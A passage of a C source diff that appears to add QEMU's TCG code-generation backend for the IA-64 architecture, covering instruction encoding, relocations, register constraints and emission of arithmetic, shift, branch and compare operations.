0x7f) << 20) + | ((sof & 0x7f) << 13) + | ((r1 & 0x7f) << 6) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_m48(int qp, uint64_t opc, uint64_t imm) +{ + return opc + | ((imm & 0x100000) << 16) /* i */ + | ((imm & 0x0fffff) << 6) /* imm20a */ + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_x2(int qp, uint64_t opc, + int r1, uint64_t imm) +{ + return opc + | ((imm & 0x8000000000000000ull) >> 27) /* i */ + | (imm & 0x0000000000200000ull) /* ic */ + | ((imm & 0x00000000001f0000ull) << 6) /* imm5c */ + | ((imm & 0x000000000000ff80ull) << 20) /* imm9d */ + | ((imm & 0x000000000000007full) << 13) /* imm7b */ + | ((r1 & 0x7f) << 6) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_x3(int qp, uint64_t opc, uint64_t imm) +{ + return opc + | ((imm & 0x0800000000000000ull) >> 23) /* i */ + | ((imm & 0x00000000000fffffull) << 13) /* imm20b */ + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_x4(int qp, uint64_t opc, int b1, uint64_t imm) +{ + return opc + | ((imm & 0x0800000000000000ull) >> 23) /* i */ + | ((imm & 0x00000000000fffffull) << 13) /* imm20b */ + | ((b1 & 0x7) << 6) + | (qp & 0x3f); +} + + +/* + * Relocations - Note that we never encode branches elsewhere than slot 2. + */ + +static void reloc_pcrel21b_slot2(tcg_insn_unit *pc, tcg_insn_unit *target) +{ + uint64_t imm = target - pc; + + pc->hi = (pc->hi & 0xf700000fffffffffull) + | ((imm & 0x100000) << 39) /* s */ + | ((imm & 0x0fffff) << 36); /* imm20b */ +} + +static uint64_t get_reloc_pcrel21b_slot2(tcg_insn_unit *pc) +{ + int64_t high = pc->hi; + + return ((high >> 39) & 0x100000) + /* s */ + ((high >> 36) & 0x0fffff); /* imm20b */ +} + +static void patch_reloc(tcg_insn_unit *code_ptr, int type, + intptr_t value, intptr_t addend) +{ + assert(addend == 0); + assert(type == R_IA64_PCREL21B); + reloc_pcrel21b_slot2(code_ptr, (tcg_insn_unit *)value); +} + +/* + * Constraints + */ + +/* parse target specific constraints */ +static int target_parse_constraint(TCGArgConstraint *ct, const char **pct_str) +{ + const char *ct_str; + + ct_str = *pct_str; + switch(ct_str[0]) { + case 'r': + ct->ct |= TCG_CT_REG; + tcg_regset_set(ct->u.regs, 0xffffffffffffffffull); + break; + case 'I': + ct->ct |= TCG_CT_CONST_S22; + break; + case 'S': + ct->ct |= TCG_CT_REG; + tcg_regset_set(ct->u.regs, 0xffffffffffffffffull); +#if defined(CONFIG_SOFTMMU) + tcg_regset_reset_reg(ct->u.regs, TCG_REG_R56); + tcg_regset_reset_reg(ct->u.regs, TCG_REG_R57); + tcg_regset_reset_reg(ct->u.regs, TCG_REG_R58); +#endif + break; + case 'Z': + /* We are cheating a bit here, using the fact that the register + r0 is also the register number 0. Hence there is no need + to check for const_args in each instruction. */ + ct->ct |= TCG_CT_CONST_ZERO; + break; + default: + return -1; + } + ct_str++; + *pct_str = ct_str; + return 0; +} + +/* test if a constant matches the constraint */ +static inline int tcg_target_const_match(tcg_target_long val, TCGType type, + const TCGArgConstraint *arg_ct) +{ + int ct; + ct = arg_ct->ct; + if (ct & TCG_CT_CONST) + return 1; + else if ((ct & TCG_CT_CONST_ZERO) && val == 0) + return 1; + else if ((ct & TCG_CT_CONST_S22) && val == ((int32_t)val << 10) >> 10) + return 1; + else + return 0; +} + +/* + * Code generation + */ + +static tcg_insn_unit *tb_ret_addr; + +static inline void tcg_out_bundle(TCGContext *s, int template, + uint64_t slot0, uint64_t slot1, + uint64_t slot2) +{ + template &= 0x1f; /* 5 bits */ + slot0 &= 0x1ffffffffffull; /* 41 bits */ + slot1 &= 0x1ffffffffffull; /* 41 bits */ + slot2 &= 0x1ffffffffffull; /* 41 bits */ + + *s->code_ptr++ = (tcg_insn_unit){ + (slot1 << 46) | (slot0 << 5) | template, + (slot2 << 23) | (slot1 >> 18) + }; +} + +static inline uint64_t tcg_opc_mov_a(int qp, TCGReg dst, TCGReg src) +{ + return tcg_opc_a4(qp, OPC_ADDS_A4, dst, 0, src); +} + +static inline void tcg_out_mov(TCGContext *s, TCGType type, + TCGReg ret, TCGReg arg) +{ + tcg_out_bundle(s, mmI, + INSN_NOP_M, + INSN_NOP_M, + tcg_opc_mov_a(TCG_REG_P0, ret, arg)); +} + +static inline uint64_t tcg_opc_movi_a(int qp, TCGReg dst, int64_t src) +{ + assert(src == sextract64(src, 0, 22)); + return tcg_opc_a5(qp, OPC_ADDL_A5, dst, src, TCG_REG_R0); +} + +static inline void tcg_out_movi(TCGContext *s, TCGType type, + TCGReg reg, tcg_target_long arg) +{ + tcg_out_bundle(s, mLX, + INSN_NOP_M, + tcg_opc_l2 (arg), + tcg_opc_x2 (TCG_REG_P0, OPC_MOVL_X2, reg, arg)); +} + +static void tcg_out_br(TCGContext *s, int label_index) +{ + TCGLabel *l = &s->labels[label_index]; + uint64_t imm; + + /* We pay attention here to not modify the branch target by reading + the existing value and using it again. This ensure that caches and + memory are kept coherent during retranslation. */ + if (l->has_value) { + imm = l->u.value_ptr - s->code_ptr; + } else { + imm = get_reloc_pcrel21b_slot2(s->code_ptr); + tcg_out_reloc(s, s->code_ptr, R_IA64_PCREL21B, label_index, 0); + } + + tcg_out_bundle(s, mmB, + INSN_NOP_M, + INSN_NOP_M, + tcg_opc_b1(TCG_REG_P0, OPC_BR_SPTK_MANY_B1, imm)); +} + +static inline void tcg_out_call(TCGContext *s, tcg_insn_unit *desc) +{ + uintptr_t func = desc->lo, gp = desc->hi, disp; + + /* Look through the function descriptor. */ + tcg_out_bundle(s, mlx, + INSN_NOP_M, + tcg_opc_l2 (gp), + tcg_opc_x2 (TCG_REG_P0, OPC_MOVL_X2, TCG_REG_R1, gp)); + disp = (tcg_insn_unit *)func - s->code_ptr; + tcg_out_bundle(s, mLX, + INSN_NOP_M, + tcg_opc_l4 (disp), + tcg_opc_x4 (TCG_REG_P0, OPC_BRL_CALL_SPTK_MANY_X4, + TCG_REG_B0, disp)); +} + +static void tcg_out_exit_tb(TCGContext *s, tcg_target_long arg) +{ + uint64_t imm, opc1; + + /* At least arg == 0 is a common operation. */ + if (arg == sextract64(arg, 0, 22)) { + opc1 = tcg_opc_movi_a(TCG_REG_P0, TCG_REG_R8, arg); + } else { + tcg_out_movi(s, TCG_TYPE_PTR, TCG_REG_R8, arg); + opc1 = INSN_NOP_M; + } + + imm = tb_ret_addr - s->code_ptr; + + tcg_out_bundle(s, mLX, + opc1, + tcg_opc_l3 (imm), + tcg_opc_x3 (TCG_REG_P0, OPC_BRL_SPTK_MANY_X3, imm)); +} + +static inline void tcg_out_goto_tb(TCGContext *s, TCGArg arg) +{ + if (s->tb_jmp_offset) { + /* direct jump method */ + tcg_abort(); + } else { + /* indirect jump method */ + tcg_out_movi(s, TCG_TYPE_PTR, TCG_REG_R2, + (tcg_target_long)(s->tb_next + arg)); + tcg_out_bundle(s, MmI, + tcg_opc_m1 (TCG_REG_P0, OPC_LD8_M1, + TCG_REG_R2, TCG_REG_R2), + INSN_NOP_M, + tcg_opc_i21(TCG_REG_P0, OPC_MOV_I21, TCG_REG_B6, + TCG_REG_R2, 0)); + tcg_out_bundle(s, mmB, + INSN_NOP_M, + INSN_NOP_M, + tcg_opc_b4 (TCG_REG_P0, OPC_BR_SPTK_MANY_B4, + TCG_REG_B6)); + } + s->tb_next_offset[arg] = tcg_current_code_size(s); +} + +static inline void tcg_out_jmp(TCGContext *s, TCGArg addr) +{ + tcg_out_bundle(s, mmI, + INSN_NOP_M, + INSN_NOP_M, + tcg_opc_i21(TCG_REG_P0, OPC_MOV_I21, TCG_REG_B6, addr, 0)); + tcg_out_bundle(s, mmB, + INSN_NOP_M, + INSN_NOP_M, + tcg_opc_b4(TCG_REG_P0, OPC_BR_SPTK_MANY_B4, TCG_REG_B6)); +} + +static inline void tcg_out_ld_rel(TCGContext *s, uint64_t opc_m4, TCGArg arg, + TCGArg arg1, tcg_target_long arg2) +{ + if (arg2 == ((int16_t)arg2 >> 2) << 2) { + tcg_out_bundle(s, MmI, + tcg_opc_a4(TCG_REG_P0, OPC_ADDS_A4, + TCG_REG_R2, arg2, arg1), + tcg_opc_m1 (TCG_REG_P0, opc_m4, arg, TCG_REG_R2), + INSN_NOP_I); + } else { + tcg_out_movi(s, TCG_TYPE_PTR, TCG_REG_R2, arg2); + tcg_out_bundle(s, MmI, + tcg_opc_a1 (TCG_REG_P0, OPC_ADD_A1, + TCG_REG_R2, TCG_REG_R2, arg1), + tcg_opc_m1 (TCG_REG_P0, opc_m4, arg, TCG_REG_R2), + INSN_NOP_I); + } +} + +static inline void tcg_out_st_rel(TCGContext *s, uint64_t opc_m4, TCGArg arg, + TCGArg arg1, tcg_target_long arg2) +{ + if (arg2 == ((int16_t)arg2 >> 2) << 2) { + tcg_out_bundle(s, MmI, + tcg_opc_a4(TCG_REG_P0, OPC_ADDS_A4, + TCG_REG_R2, arg2, arg1), + tcg_opc_m4 (TCG_REG_P0, opc_m4, arg, TCG_REG_R2), + INSN_NOP_I); + } else { + tcg_out_movi(s, TCG_TYPE_PTR, TCG_REG_R2, arg2); + tcg_out_bundle(s, MmI, + tcg_opc_a1 (TCG_REG_P0, OPC_ADD_A1, + TCG_REG_R2, TCG_REG_R2, arg1), + tcg_opc_m4 (TCG_REG_P0, opc_m4, arg, TCG_REG_R2), + INSN_NOP_I); + } +} + +static inline void tcg_out_ld(TCGContext *s, TCGType type, TCGReg arg, + TCGReg arg1, intptr_t arg2) +{ + if (type == TCG_TYPE_I32) { + tcg_out_ld_rel(s, OPC_LD4_M1, arg, arg1, arg2); + } else { + tcg_out_ld_rel(s, OPC_LD8_M1, arg, arg1, arg2); + } +} + +static inline void tcg_out_st(TCGContext *s, TCGType type, TCGReg arg, + TCGReg arg1, intptr_t arg2) +{ + if (type == TCG_TYPE_I32) { + tcg_out_st_rel(s, OPC_ST4_M4, arg, arg1, arg2); + } else { + tcg_out_st_rel(s, OPC_ST8_M4, arg, arg1, arg2); + } +} + +static inline void tcg_out_alu(TCGContext *s, uint64_t opc_a1, uint64_t opc_a3, + TCGReg ret, TCGArg arg1, int const_arg1, + TCGArg arg2, int const_arg2) +{ + uint64_t opc1 = 0, opc2 = 0, opc3 = 0; + + if (const_arg2 && arg2 != 0) { + opc2 = tcg_opc_movi_a(TCG_REG_P0, TCG_REG_R3, arg2); + arg2 = TCG_REG_R3; + } + if (const_arg1 && arg1 != 0) { + if (opc_a3 && arg1 == (int8_t)arg1) { + opc3 = tcg_opc_a3(TCG_REG_P0, opc_a3, ret, arg1, arg2); + } else { + opc1 = tcg_opc_movi_a(TCG_REG_P0, TCG_REG_R2, arg1); + arg1 = TCG_REG_R2; + } + } + if (opc3 == 0) { + opc3 = tcg_opc_a1(TCG_REG_P0, opc_a1, ret, arg1, arg2); + } + + tcg_out_bundle(s, (opc1 || opc2 ? mII : miI), + opc1 ? opc1 : INSN_NOP_M, + opc2 ? opc2 : INSN_NOP_I, + opc3); +} + +static inline void tcg_out_add(TCGContext *s, TCGReg ret, TCGReg arg1, + TCGArg arg2, int const_arg2) +{ + if (const_arg2 && arg2 == sextract64(arg2, 0, 14)) { + tcg_out_bundle(s, mmI, + INSN_NOP_M, + INSN_NOP_M, + tcg_opc_a4(TCG_REG_P0, OPC_ADDS_A4, ret, arg2, arg1)); + } else { + tcg_out_alu(s, OPC_ADD_A1, 0, ret, arg1, 0, arg2, const_arg2); + } +} + +static inline void tcg_out_sub(TCGContext *s, TCGReg ret, TCGArg arg1, + int const_arg1, TCGArg arg2, int const_arg2) +{ + if (!const_arg1 && const_arg2 && -arg2 == sextract64(-arg2, 0, 14)) { + tcg_out_bundle(s, mmI, + INSN_NOP_M, + INSN_NOP_M, + tcg_opc_a4(TCG_REG_P0, OPC_ADDS_A4, ret, -arg2, arg1)); + } else { + tcg_out_alu(s, OPC_SUB_A1, OPC_SUB_A3, ret, + arg1, const_arg1, arg2, const_arg2); + } +} + +static inline void tcg_out_eqv(TCGContext *s, TCGArg ret, + TCGArg arg1, int const_arg1, + TCGArg arg2, int const_arg2) +{ + tcg_out_bundle(s, mII, + INSN_NOP_M, + tcg_opc_a1 (TCG_REG_P0, OPC_XOR_A1, ret, arg1, arg2), + tcg_opc_a3 (TCG_REG_P0, OPC_ANDCM_A3, ret, -1, ret)); +} + +static inline void tcg_out_nand(TCGContext *s, TCGArg ret, + TCGArg arg1, int const_arg1, + TCGArg arg2, int const_arg2) +{ + tcg_out_bundle(s, mII, + INSN_NOP_M, + tcg_opc_a1 (TCG_REG_P0, OPC_AND_A1, ret, arg1, arg2), + tcg_opc_a3 (TCG_REG_P0, OPC_ANDCM_A3, ret, -1, ret)); +} + +static inline void tcg_out_nor(TCGContext *s, TCGArg ret, + TCGArg arg1, int const_arg1, + TCGArg arg2, int const_arg2) +{ + tcg_out_bundle(s, mII, + INSN_NOP_M, + tcg_opc_a1 (TCG_REG_P0, OPC_OR_A1, ret, arg1, arg2), + tcg_opc_a3 (TCG_REG_P0, OPC_ANDCM_A3, ret, -1, ret)); +} + +static inline void tcg_out_orc(TCGContext *s, TCGArg ret, + TCGArg arg1, int const_arg1, + TCGArg arg2, int const_arg2) +{ + tcg_out_bundle(s, mII, + INSN_NOP_M, + tcg_opc_a3 (TCG_REG_P0, OPC_ANDCM_A3, TCG_REG_R2, -1, arg2), + tcg_opc_a1 (TCG_REG_P0, OPC_OR_A1, ret, arg1, TCG_REG_R2)); +} + +static inline void tcg_out_mul(TCGContext *s, TCGArg ret, + TCGArg arg1, TCGArg arg2) +{ + tcg_out_bundle(s, mmI, + tcg_opc_m18(TCG_REG_P0, OPC_SETF_SIG_M18, TCG_REG_F6, arg1), + tcg_opc_m18(TCG_REG_P0, OPC_SETF_SIG_M18, TCG_REG_F7, arg2), + INSN_NOP_I); + tcg_out_bundle(s, mmF, + INSN_NOP_M, + INSN_NOP_M, + tcg_opc_f2 (TCG_REG_P0, OPC_XMA_L_F2, TCG_REG_F6, TCG_REG_F6, + TCG_REG_F7, TCG_REG_F0)); + tcg_out_bundle(s, miI, + tcg_opc_m19(TCG_REG_P0, OPC_GETF_SIG_M19, ret, TCG_REG_F6), + INSN_NOP_I, + INSN_NOP_I); +} + +static inline void tcg_out_sar_i32(TCGContext *s, TCGArg ret, TCGArg arg1, + TCGArg arg2, int const_arg2) +{ + if (const_arg2) { + tcg_out_bundle(s, miI, + INSN_NOP_M, + INSN_NOP_I, + tcg_opc_i11(TCG_REG_P0, OPC_EXTR_I11, + ret, arg1, arg2, 31 - arg2)); + } else { + tcg_out_bundle(s, mII, + tcg_opc_a3 (TCG_REG_P0, OPC_AND_A3, + TCG_REG_R3, 0x1f, arg2), + tcg_opc_i29(TCG_REG_P0, OPC_SXT4_I29, TCG_REG_R2, arg1), + tcg_opc_i5 (TCG_REG_P0, OPC_SHR_I5, ret, + TCG_REG_R2, TCG_REG_R3)); + } +} + +static inline void tcg_out_sar_i64(TCGContext *s, TCGArg ret, TCGArg arg1, + TCGArg arg2, int const_arg2) +{ + if (const_arg2) { + tcg_out_bundle(s, miI, + INSN_NOP_M, + INSN_NOP_I, + tcg_opc_i11(TCG_REG_P0, OPC_EXTR_I11, + ret, arg1, arg2, 63 - arg2)); + } else { + tcg_out_bundle(s, miI, + INSN_NOP_M, + INSN_NOP_I, + tcg_opc_i5 (TCG_REG_P0, OPC_SHR_I5, ret, arg1, arg2)); + } +} + +static inline void tcg_out_shl_i32(TCGContext *s, TCGArg ret, TCGArg arg1, + TCGArg arg2, int const_arg2) +{ + if (const_arg2) { + tcg_out_bundle(s, miI, + INSN_NOP_M, + INSN_NOP_I, + tcg_opc_i12(TCG_REG_P0, OPC_DEP_Z_I12, ret, + arg1, 63 - arg2, 31 - arg2)); + } else { + tcg_out_bundle(s, mII, + INSN_NOP_M, + tcg_opc_a3 (TCG_REG_P0, OPC_AND_A3, TCG_REG_R2, + 0x1f, arg2), + tcg_opc_i7 (TCG_REG_P0, OPC_SHL_I7, ret, + arg1, TCG_REG_R2)); + } +} + +static inline void tcg_out_shl_i64(TCGContext *s, TCGArg ret, TCGArg arg1, + TCGArg arg2, int const_arg2) +{ + if (const_arg2) { + tcg_out_bundle(s, miI, + INSN_NOP_M, + INSN_NOP_I, + tcg_opc_i12(TCG_REG_P0, OPC_DEP_Z_I12, ret, + arg1, 63 - arg2, 63 - arg2)); + } else { + tcg_out_bundle(s, miI, + INSN_NOP_M, + INSN_NOP_I, + tcg_opc_i7 (TCG_REG_P0, OPC_SHL_I7, ret, + arg1, arg2)); + } +} + +static inline void tcg_out_shr_i32(TCGContext *s, TCGArg ret, TCGArg arg1, + TCGArg arg2, int const_arg2) +{ + if (const_arg2) { + tcg_out_bundle(s, miI, + INSN_NOP_M, + INSN_NOP_I, + tcg_opc_i11(TCG_REG_P0, OPC_EXTR_U_I11, ret, + arg1, arg2, 31 - arg2)); + } else { + tcg_out_bundle(s, mII, + tcg_opc_a3 (TCG_REG_P0, OPC_AND_A3, TCG_REG_R3, + 0x1f, arg2), + tcg_opc_i29(TCG_REG_P0, OPC_ZXT4_I29, TCG_REG_R2, arg1), + tcg_opc_i5 (TCG_REG_P0, OPC_SHR_U_I5, ret, + TCG_REG_R2, TCG_REG_R3)); + } +} + +static inline void tcg_out_shr_i64(TCGContext *s, TCGArg ret, TCGArg arg1, + TCGArg arg2, int const_arg2) +{ + if (const_arg2) { + tcg_out_bundle(s, miI, + INSN_NOP_M, + INSN_NOP_I, + tcg_opc_i11(TCG_REG_P0, OPC_EXTR_U_I11, ret, + arg1, arg2, 63 - arg2)); + } else { + tcg_out_bundle(s, miI, + INSN_NOP_M, + INSN_NOP_I, + tcg_opc_i5 (TCG_REG_P0, OPC_SHR_U_I5, ret, + arg1, arg2)); + } +} + +static inline void tcg_out_rotl_i32(TCGContext *s, TCGArg ret, TCGArg arg1, + TCGArg arg2, int const_arg2) +{ + if (const_arg2) { + tcg_out_bundle(s, mII, + INSN_NOP_M, + tcg_opc_i2 (TCG_REG_P0, OPC_UNPACK4_L_I2, + TCG_REG_R2, arg1, arg1), + tcg_opc_i11(TCG_REG_P0, OPC_EXTR_U_I11, ret, + TCG_REG_R2, 32 - arg2, 31)); + } else { + tcg_out_bundle(s, miI, + INSN_NOP_M, + tcg_opc_i2 (TCG_REG_P0, OPC_UNPACK4_L_I2, + TCG_REG_R2, arg1, arg1), + tcg_opc_a3 (TCG_REG_P0, OPC_AND_A3, TCG_REG_R3, + 0x1f, arg2)); + tcg_out_bundle(s, mII, + INSN_NOP_M, + tcg_opc_a3 (TCG_REG_P0, OPC_SUB_A3, TCG_REG_R3, + 0x20, TCG_REG_R3), + tcg_opc_i5 (TCG_REG_P0, OPC_SHR_U_I5, ret, + TCG_REG_R2, TCG_REG_R3)); + } +} + +static inline void tcg_out_rotl_i64(TCGContext *s, TCGArg ret, TCGArg arg1, + TCGArg arg2, int const_arg2) +{ + if (const_arg2) { + tcg_out_bundle(s, miI, + INSN_NOP_M, + INSN_NOP_I, + tcg_opc_i10(TCG_REG_P0, OPC_SHRP_I10, ret, arg1, + arg1, 0x40 - arg2)); + } else { + tcg_out_bundle(s, mII, + tcg_opc_a3 (TCG_REG_P0, OPC_SUB_A3, TCG_REG_R2, + 0x40, arg2), + tcg_opc_i7 (TCG_REG_P0, OPC_SHL_I7, TCG_REG_R3, + arg1, arg2), + tcg_opc_i5 (TCG_REG_P0, OPC_SHR_U_I5, TCG_REG_R2, + arg1, TCG_REG_R2)); + tcg_out_bundle(s, miI, + INSN_NOP_M, + INSN_NOP_I, + tcg_opc_a1 (TCG_REG_P0, OPC_OR_A1, ret, + TCG_REG_R2, TCG_REG_R3)); + } +} + +static inline void tcg_out_rotr_i32(TCGContext *s, TCGArg ret, TCGArg arg1, + TCGArg arg2, int const_arg2) +{ + if (const_arg2) { + tcg_out_bundle(s, mII, + INSN_NOP_M, + tcg_opc_i2 (TCG_REG_P0, OPC_UNPACK4_L_I2, + TCG_REG_R2, arg1, arg1), + tcg_opc_i11(TCG_REG_P0, OPC_EXTR_U_I11, ret, + TCG_REG_R2, arg2, 31)); + } else { + tcg_out_bundle(s, mII, + tcg_opc_a3 (TCG_REG_P0, OPC_AND_A3, TCG_REG_R3, + 0x1f, arg2), + tcg_opc_i2 (TCG_REG_P0, OPC_UNPACK4_L_I2, + TCG_REG_R2, arg1, arg1), + tcg_opc_i5 (TCG_REG_P0, OPC_SHR_U_I5, ret, + TCG_REG_R2, TCG_REG_R3)); + } +} + +static inline void tcg_out_rotr_i64(TCGContext *s, TCGArg ret, TCGArg arg1, + TCGArg arg2, int const_arg2) +{ + if (const_arg2) { + tcg_out_bundle(s, miI, + INSN_NOP_M, + INSN_NOP_I, + tcg_opc_i10(TCG_REG_P0, OPC_SHRP_I10, ret, arg1, + arg1, arg2)); + } else { + tcg_out_bundle(s, mII, + tcg_opc_a3 (TCG_REG_P0, OPC_SUB_A3, TCG_REG_R2, + 0x40, arg2), + tcg_opc_i5 (TCG_REG_P0, OPC_SHR_U_I5, TCG_REG_R3, + arg1, arg2), + tcg_opc_i7 (TCG_REG_P0, OPC_SHL_I7, TCG_REG_R2, + arg1, TCG_REG_R2)); + tcg_out_bundle(s, miI, + INSN_NOP_M, + INSN_NOP_I, + tcg_opc_a1 (TCG_REG_P0, OPC_OR_A1, ret, + TCG_REG_R2, TCG_REG_R3)); + } +} + +static const uint64_t opc_ext_i29[8] = { + OPC_ZXT1_I29, OPC_ZXT2_I29, OPC_ZXT4_I29, 0, + OPC_SXT1_I29, OPC_SXT2_I29, OPC_SXT4_I29, 0 +}; + +static inline uint64_t tcg_opc_ext_i(int qp, TCGMemOp opc, TCGReg d, TCGReg s) +{ + if ((opc & MO_SIZE) == MO_64) { + return tcg_opc_mov_a(qp, d, s); + } else { + return tcg_opc_i29(qp, opc_ext_i29[opc & MO_SSIZE], d, s); + } +} + +static inline void tcg_out_ext(TCGContext *s, uint64_t opc_i29, + TCGArg ret, TCGArg arg) +{ + tcg_out_bundle(s, miI, + INSN_NOP_M, + INSN_NOP_I, + tcg_opc_i29(TCG_REG_P0, opc_i29, ret, arg)); +} + +static inline uint64_t tcg_opc_bswap64_i(int qp, TCGReg d, TCGReg s) +{ + return tcg_opc_i3(qp, OPC_MUX1_I3, d, s, 0xb); +} + +static inline void tcg_out_bswap16(TCGContext *s, TCGArg ret, TCGArg arg) +{ + tcg_out_bundle(s, mII, + INSN_NOP_M, + tcg_opc_i12(TCG_REG_P0, OPC_DEP_Z_I12, ret, arg, 15, 15), + tcg_opc_bswap64_i(TCG_REG_P0, ret, ret)); +} + +static inline void tcg_out_bswap32(TCGContext *s, TCGArg ret, TCGArg arg) +{ + tcg_out_bundle(s, mII, + INSN_NOP_M, + tcg_opc_i12(TCG_REG_P0, OPC_DEP_Z_I12, ret, arg, 31, 31), + tcg_opc_bswap64_i(TCG_REG_P0, ret, ret)); +} + +static inline void tcg_out_bswap64(TCGContext *s, TCGArg ret, TCGArg arg) +{ + tcg_out_bundle(s, miI, + INSN_NOP_M, + INSN_NOP_I, + tcg_opc_bswap64_i(TCG_REG_P0, ret, arg)); +} + +static inline void tcg_out_deposit(TCGContext *s, TCGArg ret, TCGArg a1, + TCGArg a2, int const_a2, int pos, int len) +{ + uint64_t i1 = 0, i2 = 0; + int cpos = 63 - pos, lm1 = len - 1; + + if (const_a2) { + /* Truncate the value of a constant a2 to the width of the field. */ + int mask = (1u << len) - 1; + a2 &= mask; + + if (a2 == 0 || a2 == mask) { + /* 1-bit signed constant inserted into register. */ + i2 = tcg_opc_i14(TCG_REG_P0, OPC_DEP_I14, ret, a2, a1, cpos, lm1); + } else { + /* Otherwise, load any constant into a temporary. Do this into + the first I slot to help out with cross-unit delays. */ + i1 = tcg_opc_movi_a(TCG_REG_P0, TCG_REG_R2, a2); + a2 = TCG_REG_R2; + } + } + if (i2 == 0) { + i2 = tcg_opc_i15(TCG_REG_P0, OPC_DEP_I15, ret, a2, a1, cpos, lm1); + } + tcg_out_bundle(s, (i1 ? mII : miI), + INSN_NOP_M, + i1 ? i1 : INSN_NOP_I, + i2); +} + +static inline uint64_t tcg_opc_cmp_a(int qp, TCGCond cond, TCGArg arg1, + TCGArg arg2, int cmp4) +{ + uint64_t opc_eq_a6, opc_lt_a6, opc_ltu_a6; + + if (cmp4) { + opc_eq_a6 = OPC_CMP4_EQ_A6; + opc_lt_a6 = OPC_CMP4_LT_A6; + opc_ltu_a6 = OPC_CMP4_LTU_A6; + } else { + opc_eq_a6 = OPC_CMP_EQ_A6; + opc_lt_a6 = OPC_CMP_LT_A6; + opc_ltu_a6 = OPC_CMP_LTU_A6; + } + + switch (cond) { + case TCG_COND_EQ: + return tcg_opc_a6 (qp, opc_eq_a6, TCG_REG_P6, TCG_REG_P7, arg1, arg2); + case TCG_COND_NE: + return tcg_opc_a6 (qp, opc_eq_a6, TCG_REG_P7, TCG_REG_P6, arg1, arg2); + case TCG_COND_LT: + return tcg_opc_a6 (qp, opc_lt_a6, TCG_REG_P6, TCG_REG_P7, arg1, arg2); + case TCG_COND_LTU: + return tcg_opc_a6 (qp, opc_ltu_a6, TCG_REG_P6, TCG_REG_P7, arg1, arg2); + case TCG_COND_GE: + return tcg_opc_a6 (qp, opc_lt_a6, TCG_REG_P7, TCG_REG_P6, arg1, arg2); + case TCG_COND_GEU: + return tcg_opc_a6 (qp, opc_ltu_a6, TCG_REG_P7, TCG_REG_P6, arg1, arg2); + case TCG_COND_LE: + return tcg_opc_a6 (qp, opc_lt_a6, TCG_REG_P7, TCG_REG_P6, arg2, arg1); + case TCG_COND_LEU: + return tcg_opc_a6 (qp, opc_ltu_a6, TCG_REG_P7, TCG_REG_P6, arg2, arg1); + case TCG_COND_GT: + return tcg_opc_a6 (qp, opc_lt_a6, TCG_REG_P6, TCG_REG_P7, arg2, arg1); + case TCG_COND_GTU: + return tcg_opc_a6 (qp, opc_ltu_a6, TCG_REG_P6, TCG_REG_P7, arg2, arg1); + default: + tcg_abort(); + break; + } +} + +static inline void tcg_out_brcond(TCGContext *s, TCGCond cond, TCGReg arg1, + TCGReg arg2, int label_index, int cmp4) +{ + TCGLabel *l = &s->labels[label_index]; + uint64_t imm; + + /* We pay attention here to not modify the branch target by reading + the existing value and using it again. This ensure that caches and + memory are kept coherent during retranslation. */ + if (l->has_value) { + imm = l->u.value_ptr - s->code_ptr; + } else { + imm = get_reloc_pcrel21b_slot2(s->code_ptr); + tcg_out_reloc(s, s->code_ptr, R_IA64_PCREL21B, label_index, 0); + } + + tcg_out_bundle(s, miB, + INSN_NOP_M, + tcg_opc_cmp_a(TCG_REG_P0, cond, arg1, arg2, cmp4), + tcg_opc_b1(TCG_REG_P6, OPC_BR_DPTK_FEW_B1, imm)); +} + +static inline void tcg_out_setcond(TCGContext *s, TCGCond cond, TCGArg ret, + TCGArg arg1, TCGArg arg2, int cmp4) +{ + tcg_out_bundle(s, MmI, + tcg_opc_cmp_a(TCG_REG_P0, cond, arg1, arg2, cmp4), + tcg_opc_movi_a(TCG_REG_P6, ret, 1), + tcg_opc_movi_a(TCG_REG_P7, ret, 0)); +} + +static inline void tcg_out_movcond(TCGContext *s, TCGCond cond, TCGArg ret, + TCGArg c1, TCGArg c2, + TCGArg v1, int const_v1, + TCGArg v2, int const_v2, int cmp4) +{ + uint64_t opc1, opc2; + + if (const_v1) { + opc1 = tcg_opc_movi_a(TCG_REG_P6, ret, v1); + } else if (ret == v1) { + opc1 = INSN_NOP_M; + } else { + opc1 = tcg_opc_mov_a(TCG_REG_P6, ret, v1); + } + if (const_v2) { + opc2 = tcg_opc_movi_a(TCG_REG_P7, ret, v2); + } else if (ret == v2) { + opc2 = INSN_NOP_I; + } else { + opc2 = tcg_opc_mov_a(TCG_REG_P7, ret, v2); + } + + tcg_out_bundle(s, MmI, + tcg_opc_cmp_a(TCG_REG_P0, cond, c1, c2, cmp4), + opc1, + opc2); +} + +#if defined(CONFIG_SOFTMMU) +/* We're expecting to use an signed 22-bit immediate add. */ +QEMU_BUILD_BUG_ON(offsetof(CPUArchState, tlb_table[NB_MMU_MODES - 1][1]) + > 0x1fffff) + +/* Load and compare a TLB entry, and return the result in (p6, p7). + R2 is loaded with the addend TLB entry. + R57 is loaded with the address, zero extented on 32-bit targets. + R1, R3 are clobbered, leaving R56 free for... + BSWAP_1, BSWAP_2 and I-slot insns for swapping data for store. */ +static inline void tcg_out_qemu_tlb(TCGContext *s, TCGReg addr_reg, + TCGMemOp s_bits, int off_rw, int off_add, + uint64_t bswap1, uint64_t bswap2) +{ + /* + .mii + mov r2 = off_rw + extr.u r3 = addr_reg, ... # extract tlb page + zxt4 r57 = addr_reg # or mov for 64-bit guest + ;; + .mii + addl r2 = r2, areg0 + shl r3 = r3, cteb # via dep.z + dep r1 = 0, r57, ... # zero page ofs, keep align + ;; + .mmi + add r2 = r2, r3 + ;; + ld4 r3 = [r2], off_add-off_rw # or ld8 for 64-bit guest + nop + ;; + .mmi + nop + cmp.eq p6, p7 = r3, r58 + nop + ;; + */ + tcg_out_bundle(s, miI, + tcg_opc_movi_a(TCG_REG_P0, TCG_REG_R2, off_rw), + tcg_opc_i11(TCG_REG_P0, OPC_EXTR_U_I11, TCG_REG_R3, + addr_reg, TARGET_PAGE_BITS, CPU_TLB_BITS - 1), + tcg_opc_ext_i(TCG_REG_P0, + TARGET_LONG_BITS == 32 ? MO_UL : MO_Q, + TCG_REG_R57, addr_reg)); + tcg_out_bundle(s, miI, + tcg_opc_a1 (TCG_REG_P0, OPC_ADD_A1, TCG_REG_R2, + TCG_REG_R2, TCG_AREG0), + tcg_opc_i12(TCG_REG_P0, 